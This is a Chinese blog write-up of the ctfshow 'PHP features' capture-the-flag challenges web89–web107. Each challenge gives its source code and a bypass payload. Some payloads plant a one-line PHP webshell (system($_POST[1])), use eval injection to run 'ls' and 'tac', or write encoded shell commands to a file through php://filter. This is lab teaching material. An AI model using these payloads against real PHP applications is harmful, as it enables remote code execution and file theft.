ctfshow-web入门-php特性

已于 2022-07-20 09:21:06 修改
阅读量1.7k 收藏 6
点赞数
文章标签： php 开发语言
于 2022-07-11 20:03:59 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_43618536/article/details/125728043
版权

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

ctfshow-web入门-php特性

题目

一、web89

源代码：

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

?num[]

二、web90

源代码：

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

十进制表示：在数字后面加任意字母

?num=4476a

十六进制表示：在数字前加0x

?num=0x117c

八进制表示：在数字前加0

?num=010574

用计算器中的程序员模式，查看十六进制、十进制、八进制、二进制

三、web91

源代码：

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

/^php$/im
^ 表示的是开头
$ 表示的是结尾
i 表示的是忽略大小写
m表示的是多行匹配

?cmd=%0aphp
%0a 表示换行

四、web92

源代码：

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

?num=4476e1
只能在后面加e，然后随便增加数字，科学计数法

?num=0x117c

?num=010574

五、web93

源代码：

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

?num=010574

六、web94

源代码：

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){  //绕过这个if，使得if为0，则strpos函数为1，则数字中需要有0
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

?num=4476.0

七、web95

源代码：

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

?num=+010574 （空格代替+，也可以）
?num=%2b010574

八、web96

源代码：

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

?u=./flag.php

?u=php://filter/convert.base64-encode/resource=flag.php

?u=/var/www/html/flag.php

九、web97

源代码：

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

POST:

a[]=1&b[]=2

十、web98

源代码：

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

以POST、GET方式都输入：

HTTP_FLAG=flag

在这里插入图片描述

十一、web99

源代码：

<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} 
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>

1.编写1.php，一句话木马
在这里插入图片描述

2.打开1.php
成功写入
在这里插入图片描述

3.传参
查看
在这里插入图片描述

打开flag36d.php，获取flag
在这里插入图片描述

十二、web100

源代码：

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

赋值优先于and
因此$v0只等于$v1
因此，可以在v2/v3中进行构造命令

v2中不能包含；
v3中要有；

?v1=1&v2=eval($_POST[1])?>%23&v3=;

POST：
1=system(‘ls’);
1=system(‘tac ctfshow.php’);

得到
flag_is_fe4070cd0x2d88540x2d42d60x2d848d0x2da2c873cb0515

0x2d代表的是：-

因此最终的flag：
ctfshow{fe4070cd-8854-42d6-848d-a2c873cb0515}

十三、web101

源代码：

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

payload：

?v1=1&v2=echo new Reflectionclass&v3=;

反射：new Reflectionclass

看位数，最后少了一位
ctfshow{e9b0b6aa-80d7-4871-a0b5-8f3d3f6196e?}

用爆破/人工，测试？处的是什么（1-9，a-f）

最后测试是
ctfshow{e9b0b6aa-80d7-4871-a0b5-8f3d3f6196e3}

十四、web102

源代码：

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);  //取v2中从第3个数字开始的后面的数字
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str); //用php伪协议绕过
}
else{
    die('hacker');
}

1.构造v2

v2=115044383959474e6864434171594473

11代表的是0x
v2这串数字是下面这个命令用base64加密后，再用十六进制加密后得到的

<?=`cat *`;

2.构造v3

v3=php://filter/write=convert.base64-decode/resource=1.php

将命令写入1.php中

3.构造v1

v1=hex2bin

这个函数是十六进制转二进制

在这里插入图片描述

4.访问1.php，查看源代码，得到flag

十五、web103

源代码：

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
?>

做法同web102一致

十六、web104

源代码：

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

使用数组来解决
在这里插入图片描述

十七、web105

源代码：

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛？';
$suces='既然你想要那给你吧！';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

在这里插入图片描述

十八、web106

源代码：

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

在这里插入图片描述

十九、web107

源代码：

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}
林本
关注
CTFshow php特性 web99
Kradress的博客
12-14 763
目录源码思路题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 22:36:12 # @link: https://ctfer.com */ highlight_file(__FILE__); $allow = array(); //$allow
【CTF-WEB基础】ctfshow-web入门-257—反序列化
yu_fly_fish的博客
08-14 236
一起加油！
ctfshow web入门 php特性
Sentiment的博客
04-11 5751
web89 intval() 函数用于获取变量的整数值,可preg_match过滤了数字,这里可以用数组绕过,因为preg_match无法处理数组 <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if
ctfshow——web入门——97~101
最新发布
uwvwko的博客
02-09 778
然后再rot13编码?u=php://filter/read=convert.base64-encode/resource=flag.php （同理）
php parse ini str,php parse_str() 函数的定义和用法
weixin_28902131的博客
03-10 192
php parse_str() 函数把查询字符串解析到变量中，主要用于页面之间传值(参数)。本文章向码农介绍php parse_str() 函数的使用方法，感兴趣的码农可以参考一下。定义和用法parse_str() 函数把查询字符串解析到变量中。注释：如果未设置 array 参数，则由该函数设置的变量将覆盖已存在的同名变量。注释：php.ini 文件中的 magic_quotes_gpc 设置影响...
CTFShow-WEB入门篇--信息搜集详细Wp_ctfshow web
2401_84297944的博客
04-28 1108
F12。
ctfshow-web入门-爆破wp
m0_53567065的博客
11-01 1257
ctfshow-web入门-爆破wp
ctfshow-web入门-爆破（web26,27,28）
HkD01L的博客
06-20 1231
ctfshow web26 web27 web28
ctfshow-web入门-信息搜集wp
m0_53567065的博客
10-31 763
ctfshow-web入门-信息收集wp
ctfshow---php特性
fainpo的博客
04-02 1746
使用此管道符“|”可以将两个命令分隔开，“|”左边命令的输出就会作为“|”右边命令的输入，此命令可连续使用，第一个命令的输出会作为第二个命令的输入，第二个命令的输出又会作为第三个命令的输入，依此类推。就是比如get传入a=1第一个foreach的$key就是a，$value就是1，利用die($error) 这里退出会输出$error，所以将flag的值赋值给他就能得到flag，当然第一个if不让，所以我们利用一个跳板。_()==gettext() 是gettext()的拓展函数，开启text扩展。
ctfshow——PHP特性
qq_55202378的博客
01-03 1299
另外，intval()函数如果$base为0，则$var中存在字母的话遇到字母就停止读取，传入4476a会将后面的a丢弃，比较前面的.
CTFshow-WEB入门-PHP特性(持续更新)
feng的博客
01-20 6152
web89 利用intval的这个特性： 非空的数组会返回1，因此利用数组绕过。 web90 两种方式： ?num=4476a ?num=0x117c web91 考察了preg_match的/m模式。 默认的正则开始"^“和结束”$“只是对于正则字符串如果在修饰符中加上"m”，那么开始和结束将会指字符串的每一行：每一行的开头就是"^"，结尾就是"$"。 因此?cmd=php%0a1即可 web92 <?php include("flag.php"); highlight_file(__
CTFshow_web入门_PHP特性_web91
weixin_43896504的博客
07-20 212
PHP特性-多行匹配绕过
ctfshow-web入门-php特性（web147-web150_plus）
Welcome To Myon'Blog !
07-27 1941
：匹配字符串的开头。$：匹配字符串的结尾，确保整个字符串符合规则。[a-z0-9_]：表示允许小写字母、数字和下划线。*：匹配零个或多个前面的字符。/i：忽略大小写。s：匹配包括换行符在内的所有字符。D（PCRE 特有）：美元符号 $ 仅匹配字符串的实际末尾，不匹配结尾的换行符。这里只需要让 $ctfshow 里面有其他字符即可满足 if 判断。在 PHP 中，命名空间（namespace）提供了一种组织代码的方式，可以避免类、函数和常量名称的冲突。
CTFshow_web入门_PHP特性_web93
weixin_43896504的博客
07-20 105
PHP特性-八进制绕过
【CTFSHOW】web入门 PHP特性（持续更新）
7ruth0hn的博客
10-07 795
文章目录写在前面web89web90web91web92web93web94web95web96web97参考资料 写在前面 学学php web89 intval()函数： intval(mixed $value, int $base = 10): int //通过使用指定的进制 base 转换（默认是十进制），返回变量 value 的 int 数值。 intval() 不能用于 object，否则会产生 E_NOTICE 错误并返回 1。 我们测试一下： // web89 // intval()函数
ctfshow-web入门-php特性（web109-web115）
Welcome To Myon'Blog !
07-15 1609
php 中查看目录的函数有：scandir()、golb()、dirname()、basename()、realpath()、getcwd() ，其中 scandir()、golb() 、dirname()、basename()、realpath() 都需要给定参数，而 getcwd() 不需要参数，getchwd() 函数会返回当前工作目录。对于 trim() 函数会去除空格( %20)、制表符(%09)、换行符(%0a)、回车符(%0d)、空字节符(%00)、垂直制表符（%0b），
ctfshow-web入门
01-19
### CTFShow Web 入门教程与资源 #### 图片中的隐藏后门代码 在处理CTF挑战时，有时会遇到图片中嵌入的恶意代码或后门。这类攻击通常利用图像文件格式的特点，在不影响视觉效果的前提下植入可执行代码。为了检测...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值